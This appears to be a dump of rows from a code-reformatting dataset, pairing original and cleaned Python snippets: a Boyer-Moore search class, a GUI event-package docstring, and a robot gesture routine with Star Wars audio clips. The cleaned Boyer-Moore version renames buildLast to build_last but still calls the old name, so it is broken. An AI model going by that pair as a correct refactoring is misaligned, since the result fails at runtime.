return 'ERROR: Wrong ' + value_name + ' value at ' + decorator_name + ' decorator.' |
class boyce(object):
def bmMatch(self, pattern):
#algoritma didapatkan dari slide pa munir
last=[]
last = self.buildLast(pattern)
n = len(self.text)
m = len(pattern)
i = m-1
if (i > n-1):
return -1 #kalo ga ketemu file bersangkutan
j = m-1;
if (pattern[j] == self.text[i]):
if (j == 0):
return i # match
else: # looking-glass technique
i-=1
j-=1
else: # character jump technique
lo = last[ord(self.text[i])]
i = i + m - min(j, 1+lo)
j = m - 1
while (i <= n-1):
if (pattern[j] == self.text[i]):
if (j == 0):
return i # match
else: # looking-glass technique
i-=1
j-=1
else: # character jump technique
lo = last[ord(self.text[i])]
i = i + m - min(j, 1+lo)
j = m - 1
return -1 # no match
def buildLast(self,pattern):
last = [-1 for i in range(128)]
for i in range(len(pattern)):
last[ord(pattern[i])] = i
return last
def convertText(self,name_file):
with open(name_file) as f:
lines=f.read().lower()
line=lines.split("\n")
self.text=""
for row in line:
self.text+=row | class Boyce(object):
def bm_match(self, pattern):
last = []
last = self.buildLast(pattern)
n = len(self.text)
m = len(pattern)
i = m - 1
if i > n - 1:
return -1
j = m - 1
if pattern[j] == self.text[i]:
if j == 0:
return i
else:
i -= 1
j -= 1
else:
lo = last[ord(self.text[i])]
i = i + m - min(j, 1 + lo)
j = m - 1
while i <= n - 1:
if pattern[j] == self.text[i]:
if j == 0:
return i
else:
i -= 1
j -= 1
else:
lo = last[ord(self.text[i])]
i = i + m - min(j, 1 + lo)
j = m - 1
return -1
def build_last(self, pattern):
last = [-1 for i in range(128)]
for i in range(len(pattern)):
last[ord(pattern[i])] = i
return last
def convert_text(self, name_file):
with open(name_file) as f:
lines = f.read().lower()
line = lines.split('\n')
self.text = ''
for row in line:
self.text += row |
"""Event classes and event-processing mechanisms
This package defines a set of "local" event classes which are
to be used by client applications. These include keyboard,
keypress, mousebutton and mousemove events. The package also
defines a set of modules which translated from GUI events/
callbacks to the local event classes. Finally, the package
provides mix in functionality for contexts to provide event
handling callback registration.
""" | """Event classes and event-processing mechanisms
This package defines a set of "local" event classes which are
to be used by client applications. These include keyboard,
keypress, mousebutton and mousemove events. The package also
defines a set of modules which translated from GUI events/
callbacks to the local event classes. Finally, the package
provides mix in functionality for contexts to provide event
handling callback registration.
""" |
def whataboutstarwars():
i01.disableRobotRandom(30)
# PlayNeopixelAnimation("Ironman", 255, 255, 255, 1)
sleep(3)
# StopNeopixelAnimation()
i01.disableRobotRandom(30)
x = (random.randint(1, 3))
if x == 1:
fullspeed()
i01.moveHead(130,149,87,80,100)
AudioPlayer.playFile(RuningFolder+'/system/sounds/R2D2.mp3')
#i01.mouth.speak("R2D2")
sleep(1)
i01.moveHead(155,31,87,80,100)
sleep(1)
i01.moveHead(130,31,87,80,100)
sleep(1)
i01.moveHead(90,90,87,80,100)
sleep(0.5)
i01.moveHead(90,90,87,80,0)
sleep(1)
relax()
if x == 2:
fullspeed()
#i01.mouth.speak("Hello sir, I am C3po unicyborg relations")
AudioPlayer.playFile(RuningFolder+'/system/sounds/Hello sir, I am C3po unicyborg relations.mp3')
i01.moveHead(138,80)
i01.moveArm("left",79,42,23,41)
i01.moveArm("right",71,40,14,39)
i01.moveHand("left",180,180,180,180,180,47)
i01.moveHand("right",99,130,152,154,145,180)
i01.moveTorso(90,90,90)
sleep(1)
i01.moveHead(116,80)
i01.moveArm("left",85,93,42,16)
i01.moveArm("right",87,93,37,18)
i01.moveHand("left",124,82,65,81,41,143)
i01.moveHand("right",59,53,89,61,36,21)
i01.moveTorso(90,90,90)
sleep(1)
relax()
if x == 3:
i01.setHandSpeed("left", 0.85, 0.85, 0.85, 0.85, 0.85, 1.0)
i01.setHandSpeed("right", 1.0, 0.85, 1.0, 1.0, 1.0, 1.0)
i01.setArmSpeed("left", 1.0, 1.0, 1.0, 1.0)
i01.setArmSpeed("right", 0.90, 1.0, 1.0, 1.0)
i01.setHeadSpeed(1.0, 0.90)
i01.setTorsoSpeed(1.0, 1.0, 1.0)
i01.moveHead(80,86)
i01.moveArm("left",5,94,30,10)
i01.moveArm("right",7,74,50,10)
i01.moveHand("left",180,180,180,180,180,90)
i01.moveHand("right",180,2,175,160,165,180)
i01.moveTorso(90,90,90)
#i01.mouth.speak("mmmmmmh, from the dark side you are")
AudioPlayer.playFile(RuningFolder+'/system/sounds/mmmmmmh, from the dark side you are.mp3')
sleep(4.5)
relax()
| def whataboutstarwars():
i01.disableRobotRandom(30)
sleep(3)
i01.disableRobotRandom(30)
x = random.randint(1, 3)
if x == 1:
fullspeed()
i01.moveHead(130, 149, 87, 80, 100)
AudioPlayer.playFile(RuningFolder + '/system/sounds/R2D2.mp3')
sleep(1)
i01.moveHead(155, 31, 87, 80, 100)
sleep(1)
i01.moveHead(130, 31, 87, 80, 100)
sleep(1)
i01.moveHead(90, 90, 87, 80, 100)
sleep(0.5)
i01.moveHead(90, 90, 87, 80, 0)
sleep(1)
relax()
if x == 2:
fullspeed()
AudioPlayer.playFile(RuningFolder + '/system/sounds/Hello sir, I am C3po unicyborg relations.mp3')
i01.moveHead(138, 80)
i01.moveArm('left', 79, 42, 23, 41)
i01.moveArm('right', 71, 40, 14, 39)
i01.moveHand('left', 180, 180, 180, 180, 180, 47)
i01.moveHand('right', 99, 130, 152, 154, 145, 180)
i01.moveTorso(90, 90, 90)
sleep(1)
i01.moveHead(116, 80)
i01.moveArm('left', 85, 93, 42, 16)
i01.moveArm('right', 87, 93, 37, 18)
i01.moveHand('left', 124, 82, 65, 81, 41, 143)
i01.moveHand('right', 59, 53, 89, 61, 36, 21)
i01.moveTorso(90, 90, 90)
sleep(1)
relax()
if x == 3:
i01.setHandSpeed('left', 0.85, 0.85, 0.85, 0.85, 0.85, 1.0)
i01.setHandSpeed('right', 1.0, 0.85, 1.0, 1.0, 1.0, 1.0)
i01.setArmSpeed('left', 1.0, 1.0, 1.0, 1.0)
i01.setArmSpeed('right', 0.9, 1.0, 1.0, 1.0)
i01.setHeadSpeed(1.0, 0.9)
i01.setTorsoSpeed(1.0, 1.0, 1.0)
i01.moveHead(80, 86)
i01.moveArm('left', 5, 94, 30, 10)
i01.moveArm('right', 7, 74, 50, 10)
i01.moveHand('left', 180, 180, 180, 180, 180, 90)
i01.moveHand('right', 180, 2, 175, 160, 165, 180)
i01.moveTorso(90, 90, 90)
AudioPlayer.playFile(RuningFolder + '/system/sounds/mmmmmmh, from the dark side you are.mp3')
sleep(4.5)
relax() |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.